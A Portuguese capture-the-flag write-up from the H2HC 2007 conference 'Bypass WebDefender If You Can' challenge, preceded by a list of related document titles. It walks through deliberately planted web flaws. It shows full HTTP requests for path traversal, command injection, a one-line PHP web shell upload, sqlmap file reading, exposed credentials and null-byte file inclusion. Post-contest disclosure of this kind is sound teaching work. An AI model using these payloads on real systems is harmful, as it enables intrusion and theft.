<!--#include virtual="/inc/bypasswebdefenderifyoucan.inc" -->



Documentos relacionados
Transações Seguras em Bancos de Dados (MySQL)

PHP: Cookies e Sessões

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Instalando servidor Apache

Segurança na WEB Ambiente WEB estático

Programação Web Prof. Wladimir

Desenvolvendo Websites com PHP

Desenvolvimento Web Protocolos da Internet

Guia de instalação para ambiente de Desenvolvimento LINUX

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

O protocolo HTTP. O que é o protocolo HTTP?

Introdução ao Sistema. Características

Trabalho de Sistema de Informações. Instalação e configuração aplicativo Ocomon

Breve introdução a User Dir e Senhas no Apache Uma abordagem prática (aka crash course on User Dir and Directory Authentication on Apache)

COORDENAÇÃO DE TECNOLOGIA (COTEC) JUNHO/2010

Segurança em Sistemas Web. Addson A. Costa

Programação para Internet Flávio de Oliveira Silva, M.Sc.

Web. Até a década de 1990, a Internet era utilizada. por pesquisadores, acadêmicos e universitários, para troca de arquivos e para correio eletrônico.

Prova de pré-requisito

PHP e MySQL Autenticação de Usuários

Integrantes: Catarino Rodrigues Data: 26/10/2012. Leandro de Matos Pereira. Leandro dos Santos Marciano. Ramon Alves de Souza

Introdução ao PHP. Prof. Késsia Marchi

TUTORIAL DE INSTALAÇÃO APACHE PHP POSTGRESQL 8.2

Saída do sistema do Servidor FTP do Capture Pro Software

Desenvolvimento Web Histórico da Internet e Protocolos

RELATÓRIO COM PROBLEMAS DE UTILIZAÇÃO DAS FERRAMENTAS PKP, COM SOLUÇÕES. Problema 1: Erro fatal tamanho da memória bytes esgotado

TUTORIAL: MANTENDO O BANCO DE DADOS DE SEU SITE DENTRO DO DOMÍNIO DA USP USANDO O SSH!

ATENÇÃO: Este post é atualizado toda vez que alguma função é inserida ou removida da ferramenta.

XSS - CROSS-SITE SCRIPTING

Manual de Instalação e Configuração do SQL Express

Criando, inserindo e exibindo PHP+MySql

Atividade Proposta da Disciplina: Laboratório de Rede de Computadores

Lazarus pelo SVN Linux/Windows

Satélite. Manual de instalação e configuração. CENPECT Informática cenpect@cenpect.com.br

SIMEC Sistema Integrado de Planejamento, Orçamento e Finanças

Apache Gerando CSR em Linux SHA256

Configurando um servidor WWW seguro. Centro de Atendimento a Incidentes de Segurança - CAIS

Instalação Apache + MySQL + PHPMyAdmin CentOS

COORDENAÇÃO DE TECNOLOGIA (COTEC) MAIO/2010

AULA 4 VISÃO BÁSICA DE CLASSES EM PHP

Programação WEB. Prof. André Gustavo Duarte de Almeida docente.ifrn.edu.br/andrealmeida. Aula III Introdução PHP

Sensor de temperatura Parte 5 Cleiton Bueno Preparando o ambiente do Banco de dados Mysql

INSTALANDO E CONFIGURANDO O MY SQL

ESET Remote Administrator ESET EndPoint Solutions ESET Remote Adminstrator Workgroup Script de Logon

O Googlebot não consegue aceder a ficheiros CSS e JS em seu blog

Maker Planet Manual do Usuário

1 REQUISITOS BÁSICOS PARA INSTALAR O SMS PC REMOTO

Instalação rápida do Expresso

Programação para Internet I

Universidade Federal do Espírito Santo CCA UFES. Centro de Ciências Agrárias CCA UFES Departamento de Computação. Programação WEB

Tecnologia WEB III. Prof. Erwin Alexander Uhlmann. PHP e MySQL. UHLMANN, Erwin Alexander. Introdução ao PHP. Instituto Siegen. Guarulhos, 2012.

GLPI Guia de Instalação e Configuração

BACKUP ONLINE PASSOS PARA CONFIGURAÇÃO INICIAL DO PRODUTO

Manual Administrador - Mídia System

Senha Admin. Nessa tela, você poderá trocar a senha do administrador para obter acesso ao NSControl. Inicialização

CODE IGNITER INSTALAÇÃO & BANCO DE DADOS

Fonte: - Illustration by Gaich Muramatsu

Redes de Computadores

1. DHCP a. Reserva de IP

Tópicos de Ambiente Web Conceitos Fundamentais Redes de Dados

Laboratório de Redes de Computadores e Sistemas Operacionais

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Dicas para a prova do MPU (cargos Analista e Técnico) NOÇÕES DE INFORMÁTICA: (comentário por tópico do edital visando o CESPE/UnB)

Informática - Prof. Frank Mattos

CSAU Guia: Manual do CSAU 10.0 como implementar e utilizar.

Sistema Operacional Unidade 12 Comandos de Rede e Acesso Remoto

Tutorial: Gravação de imagens em banco de dados MySQL utilizando PHP

Input de dados a partir de formulários HTML

Manual Instalação e-cidade-transparência no Ubuntu Server

GUIA MUDANÇA E FORMATAÇÃO DE SERVIDOR - MILLENNIUM

SAD Gestor Gerenciador de Backup

Procedimentos para Instalação do Sisloc

Manual de Instalação e Configuração. Módulo Remote. (G2KA) para NFSE. v1.0

Aplicação Prática de Lua para Web

Follow-Up Acompanhamento Eletrônico de Processos (versão 3.0) Manual do Sistema. 1. Como acessar o sistema Requisitos mínimos e compatibilidade

OpenSSL - Gerando CSR SHA256

Instalação do PHP no Linux

Você pode testar se está tudo OK, abrindo um navegador no Debian Linux e acessando qualquer site.

Firewall Iptables - Impasses

Configurando DDNS no Stand Alone

STK (Start Kit DARUMA) Extensão PHP para DarumaFrameWork

Criando scanner para FreeSSHd vulnerável ao exploit do Metasploit Inj3cti0n P4ck3t. Inj3cti0n P4ck3t

Auditando o Acesso ao Sistema de Arquivos no Windows 2008 Server R2

Treinamento da ferramenta MediaWiki

Programação WEB II. Formulários Em PHP. Métodos GET e POST progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

III WTR do POP-BA III Workshop de Tecnologias de Redes Ponto de Presença da RNP na Bahia Instrutor: Italo Valcy Monitor: Marcio Bouças

Programação e Designer para WEB

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Nessus Vulnerability Scanner

Guia para Instalação e Atualização Automáticas do VirusScan em Windows3.1x, Windows95 e WindowsNT

Web Design Aula 11: Site na Web

Criando scanner para Oracle vulneráveis a exploits do Metasploit Inj3cti0n P4ck3t. Inj3cti0n P4ck3t

SERVIDOR WEB - APACHE SERVIDOR WEB - APACHE SERVIDOR WEB - APACHE 27/02/2012

Revisão: Introdução. - Integração com o AutoManager; 1 Atualização de versão do banco de dados PostgreSQL

Transcrição:

<!--#include virtual="/inc/bypasswebdefenderifyoucan.inc" --> Bypass WebDefender If You Can... Introdução: A Security (http://www.security.org.br/) em conjunto com sua equipe de testes de intrusão intitulada Intruders Tiger Team Security (http://www.intruders.com.br/) é patrocinadora oficial do H2HC fourth edition (http://www.h2hc.org.br/) e teve o prazer de apresentar o primeiro desafio estilo Capture The Flag da conferência. O desafio intitulado Bypass WebDefender If You Can teve por finalidade a diversão dos participantes por possibilitar a experiência de realizar um ataque real num ambiente devidamente preparado para tanto. Foi criado especialmente para o desafio um ambiente simulando várias vulnerabilidades críticas e reais em aplicações web, algumas desenvolvidas pela equipe do CTF (Capture The Flag) e outras não (por exemplo o phpbb2). Resumo: O sistema ficou protegido pelo WebDefender desde o dia 01 de Novembro de 2007 a partir da 00:00:00 até o dia 07 de Novembro de 2007 a 23:59:59, durante esse período qualquer pessoa que tivesse sido capaz de penetrar no WebServer e ler o conteúdo do arquivo H2HCdesafioWebDefender.txt (que tinha permissão de leitura para qualquer usuário) teria vencido o mesmo e levado os prêmios oferecidos no Capture The Flag. Após esse período o WebDefender foi removido do ambiente do Capture The Flag - H2HC 2007 para que todos pudessem ver as vulnerabilidades existentes no mesmo, na manha do dia 09 de Novembro foi realizada uma apresentação no H2HC (Hackers 2 Hackers Conference) demonstrando uma série de falhas inseridas propositalmente no ambiente. O webserver (http://webdefenderh2hc.h2hc.org.br/) desprotegido continuou acessível na internet até o dia 18 de Novembro de 2007 para que todos pudessem ver e testar as vulnerabilidades existentes no sistema. É importante ressaltar que fora as falhas criadas pela equipe do CTF, ainda existia rodando um phpbb2 com vulnerabilidades públicas (e possivelmente vulnerabilidades desconhecidas - 0days) que poderiam ter sido utilizadas para vencer o CTF. Durante os 7 dias de Capture The Flag - H2HC 2007 tivemos 36 equipes inscritas e mais de 75 pessoas participando, chegando a um número próximo de 400.000 ataques detectados.

Resultado: Durante o desafio (Capture The Flag) do H2HC 2007 ninguém invadiu o sistema protegido pelo WebDefender. As regras do desafio podem ser lidas acessando o link abaixo: http://www.h2hc.org.br/capture.php Equipe: As seguintes pessoas participaram da criação do ambiente do desafio (Capture The Flag) do H2HC 2007. Wendel Guglielmetti Henrique Ygor da Rocha Parreira Glaudson Ocampos da Silva Waldemar Nehgme Ismael Rocha Elio de Faria Danielle Naves RAmalho Vulnerabilidades: Abaixo é explicado de forma resumida as principais vulnerabilidades criadas pela equipe do CTF (Capture The Flag), que poderiam ter sido utilizadas para vencer o mesmo. 1) No servidor existia um arquivo na raiz do WebServer chamado teste.php (http://webdefenderh2hc.h2hc.org.br/teste.php) que fazia uma chamada para a função phpinfo(). Algumas informações importantes que poderíamos aprender sobre o ambiente com esse arquivo são as seguintes: - Sistema operacional utilizado e versão do kernel. System Linux debian 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686 - Versão do Apache (Apache2 no caso) e PHP (PHP5 no caso). Configuration File (php.ini) Path /etc/php5/apache2/php.ini - Local de armazenamento das páginas/scripts. DOCUMENT_ROOT /var/www/

- Opção magic_quotes que dificulta (mas não impossibilita) ataques de SQL Injection desabilitado. Foi configurado dessa forma para facilitar os ataques de SQL Injection ao servidor. magic_quotes_gpc Off Off magic_quotes_runtime Off Off magic_quotes_sybase Off Off - Opção register_globals habilitada. Foi configurado dessa forma para permitir ataques de File Inclusion ao servidor. register_globals On On Obs.: Esse arquivo poderia facilmente ser descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum a existência de arquivos phpinfo.php, test.php, teste.php, etc). 2) Uma das possíveis formas de descobrir onde o arquivo H2HCdesafioWebDefender.txt estava localizado era chamando o script /ctf/script_find.php com a variável arquivofnd com o valor *H2HC*.txt e setando o campo (variável) hidden caminhofnd com o valor "../../../../../../". POST /ctf/script_find.php HTTP/1.1 Host: webdefenderh2hc.h2hc.org.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-br; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag e/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php Cookie: hotlog=1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 arquivofnd=*h2hc*.txt&caminhofnd=../../../../../../

- Dessa forma obtínhamos um resultado similar ao mostrado abaixo: /var/www/ctf/../../../../../../etc/h2hcdesafiowebdefender.txt Que mostra que o arquivo H2HCdesafioWebDefender.txt estava dentro do diretório /etc. 3) podíamos ainda utilizar o script /ctf/script_md5.php para gerar o hash md5 do mesmo e verificar a existência do arquivo. POST /ctf/script_md5.php HTTP/1.1 Host: webdefenderh2hc.h2hc.org.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-br; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag e/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php Cookie: hotlog=1 Content-Type: application/x-www-form-urlencoded Content-Length: 59 arquivomd5=../../../../../../etc/h2hcdesafiowebdefender.txt - Dessa forma obtínhamos um resultado similar ao mostrado abaixo: 9f0d078c5e352d3f1081c4686f326be5./../../../../../../etc/H2HCdesafioWebDefender.txt 4) Um dos meios de se obter o conteúdo do arquivo H2HCdesafioWebDefender.txt era utilizando uma falha que permitia execução de códigos remotos no script /ctf/script_traceroute.php devido a ausência de input validation na variável ip3, o mesmo era concatenado com outros valores e passado para a função system(). Então se setarmos a variável ip3 para ";COMANDO;" nós conseguimos executar comandos remotamente com os privilegios do usuário (www-data no caso) com que o apache está rodando.

POST /ctf/script_traceroute.php HTTP/1.1 Host: webdefenderh2hc.h2hc.org.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-br; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag e/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php Cookie: hotlog=1 Content-Type: application/x-www-form-urlencoded Content-Length: 30 ip1=200&ip2=175&ip3= ;cat /etc/h2hcdesafiowebdefender.txt; 180&ip4= - Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Parabens, Voce foi o vencedor do Capture The Flag do H2HC 2007! Equipe Security, WebDefender e H2HC. -----BEGIN PGP SIGNATURE----- Version: No Matter iqa/awubrypo9zn6zxdypzwjeqipjacaaowz7tlbuhycsuumichzr6 nwxweaonvk +xvcfnwki5t45hcu2q2uerdk =gtez -----END PGP SIGNATURE----- Obs.: O script /ctf/script_find.php tinha uma falha que permitia execução de códigos remoto de forma similar.

5) Podíamos utilizar o script /ctf/script_gr_trabalhe.php para fazer uploads de arquivos que nos permitisse executar códigos remotamente. Por exemplo nós poderíamos enviar um arquivo chamado "ws-exec.php" com o seguinte conteúdo: <? system($_get['cmd']);?> A grande questão era: * Onde esses arquivos estão sendo salvos? Um diretório dentro do DocumentRoot? No banco de dados? * Se for em um diretório dentro do DocumentRoot, eles são interpretados pelo servidor? * Arquivos com extensão.php são renomeados? * E várias outras dúvidas que podem surgir... As respostas para essas perguntas poderiam ser descobertas de 3 formas diferentes: - Dentro do DocumentRoot existia um diretório chamado tmp que era indexado e dentro dele podíamos ver o diretório uploads que também era indexado e permitia ver todos arquivos que foram enviados via upload. Obs.: Esse diretório poderia ter sido descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum encontrarmos arquivos renomeados para.ren,.old,.bkp, etc dentro do DocumentRoot). Exemplos: Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/ Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/uploads/

- Solicitando o arquivo script_gr_trabalhe.old (http://webdefenderh2hc.h2hc.org.br/ctf/script_gr_trabalhe.old) nós veríamos o seguinte trecho de código: $uploaddir = '/var/www/tmp/uploads/'; $uploadfile = $uploaddir.$arquivo; // Faz o upload do arquivo if ( move_uploaded_file($_files['arquivo']['tmp_name'], $uploadfile ) ) echo "<script>alert('dados enviados com sucesso!!');document.location='trabalhe.php'</script>"; else echo "<script>alert('houve um erro ao enviar arquivo!!');document.location='trabalhe.php'</script>"; exit; Assim identificamos que os arquivos enviados são colocados dentro do diretório /tmp/uploads/ no DocumentRoot. Obs.: Lendo o mesmo script podemos descobrir que os arquivos não tem nenhuma restrição de segurança, com exceção de ser adicionado caracteres pseudo randômicos na frente do nome do arquivo. - A terceira forma vamos ver no iten (7) que explicará outras falhas. Após descobrir o diretório dentro do DocumentRoot onde os arquivos enviados via upload foram salvos, nós poderíamos simplesmente chamar o script que foi enviado via upload e passar o comando a ser executado para a variável cmd. http://webdefenderh2hc.h2hc.org.br/tmp/uploads/l15bnkwsexec.php?cmd=cat%20/etc/h2hcdesafiowebdefender.txt Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF:

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Parabens, Voce foi o vencedor do Capture The Flag do H2HC 2007! Equipe Security, WebDefender e H2HC. -----BEGIN PGP SIGNATURE----- Version: No Matter iqa/awubrypo9zn6zxdypzwjeqipjacaaowz7tlbuhycsuumichzr6 nwxweaonvk +xvcfnwki5t45hcu2q2uerdk =gtez -----END PGP SIGNATURE----- 6) O script /ctf/show_noticia_popup.php é vulneravel a SQL Injection utilizando a variável id, como o banco de dados é MySQL podemos utilizar a função LOAD_FILE(). debian:/tmp/sqlmap# python sqlmap.py -- url="http://webdefenderh2hc.h2hc.org.br/ctf/show_noticia_popup.php?id=8" -- file="/etc/h2hcdesafiowebdefender.txt" -v1 sqlmap/0.5-rc3 coded by inquis <bernardo.damele@gmail.com> and belch <daniele.bellucci@gmail.com> [*] starting at: 12:07:05 [12:07:06] [INFO] testing if the url is stable, wait a few seconds [12:07:08] [INFO] url is stable [12:07:08] [INFO] testing if 'id' parameter is dynamic [12:07:08] [INFO] confirming that 'id' parameter is dynamic [12:07:08] [INFO] parameter 'id' is dynamic [12:07:08] [INFO] testing sql injection on parameter 'id' [12:07:08] [INFO] testing numeric/unescaped injection on parameter 'id' [12:07:09] [INFO] parameter 'id' is not numeric/unescaped injectable [12:07:09] [INFO] testing string/single quote injection on parameter 'id' [12:07:10] [INFO] confirming string/single quote injection on parameter 'id' [12:07:10] [INFO] parameter 'id' is string/single quote injectable [12:07:10] [INFO] testing MySQL [12:07:10] [INFO] query: CONCAT('7', '7')

[12:07:10] [INFO] retrieved: 77 [12:07:17] [INFO] performed 20 queries in 6 seconds [12:07:17] [INFO] confirming MySQL [12:07:17] [INFO] query: LENGTH('7') [12:07:17] [INFO] retrieved: 1 [12:07:20] [INFO] performed 13 queries in 3 seconds [12:07:20] [INFO] query: SELECT 7 FROM information_schema.tables LIMIT 0, 1 [12:07:20] [INFO] retrieved: 7 [12:07:25] [INFO] performed 13 queries in 4 seconds remote DBMS: MySQL >= 5.0.0 [12:07:25] [INFO] fetching file: '/etc/h2hcdesafiowebdefender.txt' [12:07:25] [INFO] query: LOAD_FILE('/etc/H2HCdesafioWebDefender.txt') [12:07:25] [INFO] retrieved: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Parabens, Voce foi o vencedor do Capture The Flag do H2HC 2007! Equipe Security, WebDefender e H2HC. -----BEGIN PGP SIGNATURE----- Version: No Matter iqa/awubrypo9zn6zxdypzwjeqipjacaaowz7tlbuhycsuumichzr6 nwxweaonvk +xvcfnwki5t45hcu2q2uerdk =gtez -----END PGP SIGNATURE----- [*] shutting down at: 12:25:08 7) O arquivo robots.txt no DocumentRoot permite um atacante descobrir vários diretórios e arquivos importantes. http://webdefenderh2hc.h2hc.org.br/robots.txt Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

User-agent: * Disallow: /tmp Disallow: /tmp/uploads Disallow: /ctf/db Disallow: /ctf/intranet Disallow: /ctf/script MySql Disallow: /ctf/intranet/phpbb2 Disallow: /ctf/usuarios.old Baseado no robots.txt: - Descobrimos o diretório de uploads de arquivos e poderíamos explorar a falha (5). - Descobrimos o diretório /ctf/db/ que é indexado e contém um arquivo chamado db.inc que tem informações de conexão com o banco de dados. http://webdefenderh2hc.h2hc.org.br/ctf/db/db.inc Dessa forma obtínhamos um resultado similar ao mostrado abaixo: <?php // Abre conexão com banco de dados $bd = new mysqli("localhost", "root", "vs@34576gf3", "ctf" );?> Podemos identificar o host, nome do usuário, senha e base de dados utilizada no MySql. - Descobrimos que na intranet existe um phpbb2 (/ctf/intranet/phpbb2). - Descobrimos o diretório "/ctf/script MySql" que tem o script de criação do banco de dados. - Descobrimos o arquivo "/ctf/usuarios.old" que tem uma lista com usuários válidos para se autenticar na intranet ou sistema web form.

http://webdefenderh2hc.h2hc.org.br/ctf/usuarios.old Dessa forma obtínhamos um resultado similar ao mostrado abaixo: **************************************************** * * * Documento Privativo * * * **************************************************** Usuarios para acessar o site: User: security Pass: webdefenderh2hc User: h2hc Pass: ByPassWebDefenderIfYouCan Obs.: Com essas informações podemos autenticar na aplicação via web form ou intranet (htaccess - hypertext access). 8) Após autenticado via web form (com as credenciais security/webdefenderh2hc) podemos acessar o script /ctf/script_gr_noticia.php que é utilizado para inserir notícias no site. O script de cadastramento de noticias (/ctf/script_gr_noticia.php) tem uma cópia renomeada para.old (/ctf/script_gr_noticia.old), o mesmo poderia ter sido descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum encontrarmos arquivos renomeados para.ren,.old,.bkp, etc). Analisando um trecho do código nós vemos: if ( ( empty($titulo) empty($noticia) ) ) { echo "<script>alert(ha campos em branco')</script>"; echo "<script>history.back()</script>"; exit; } include( $root."db/db.inc"); // Abre conexão com banco de dados $bd = new mysqli("localhost", "root", "vs@34576gf3", "ctf" );

Podemos observar a utilização de include() passando uma variável (root) não inicializada como parâmetro, devido ao php do CTF ter o register_globals habilitado podemos modificar o valor dessa variável para um arquivo que desejamos ler e comentar o restante do nome do arquivo a ser incluído usando Null Bytes. POST /ctf/script_gr_noticia.php HTTP/1.1 Host: webdefenderh2hc.h2hc.org.br User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-br; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag e/png,*/*;q=0.5 Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://webdefenderh2hc.h2hc.org.br/ctf/cad_noticias.php Cookie: PHPSESSID=f9f3c5dc00fb5bce70dfce8626791351 Content-Type: application/x-www-form-urlencoded Content-Length: 56 titulo=wendel&noticia=demonstracao+-+h2hc+- +WebDefender.&root=/etc/H2HCdesafioWebDefender.txt%00 Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Parabens, Voce foi o vencedor do Capture The Flag do H2HC 2007! Equipe Security, WebDefender e H2HC. -----BEGIN PGP SIGNATURE----- Version: No Matter

iqa/awubrypo9zn6zxdypzwjeqipjacaaowz7tlbuhycsuumichzr6 nwxweaonvk +xvcfnwki5t45hcu2q2uerdk =gtez -----END PGP SIGNATURE----- 9) Ainda podíamos fazer download de uma cópia de todo conteúdo (scripts, htmls, etc) do site solicitando o arquivo ctf.tgz dentro do DocumentRoot. http://webdefenderh2hc.h2hc.org.br/ctf.tgz Obs.: Esse arquivo poderia ter sido descoberto manualmente (é relativamente comum encontrarmos arquivos com o nome da empresa/dominio e extensão.tar,.zip,.tgz, etc dentro do DocumentRoot). Agradecimentos: Obrigado a todos que participaram do CTF e prestigiaram o H2HC. Dúvidas: As dúvidas sobre o desafio Bypass WebDefender If You Can deverão ser encaminhadas para o e-mail ctf[at]h2hc.org.br. Atenciosamente, Coordenação H2HC 2007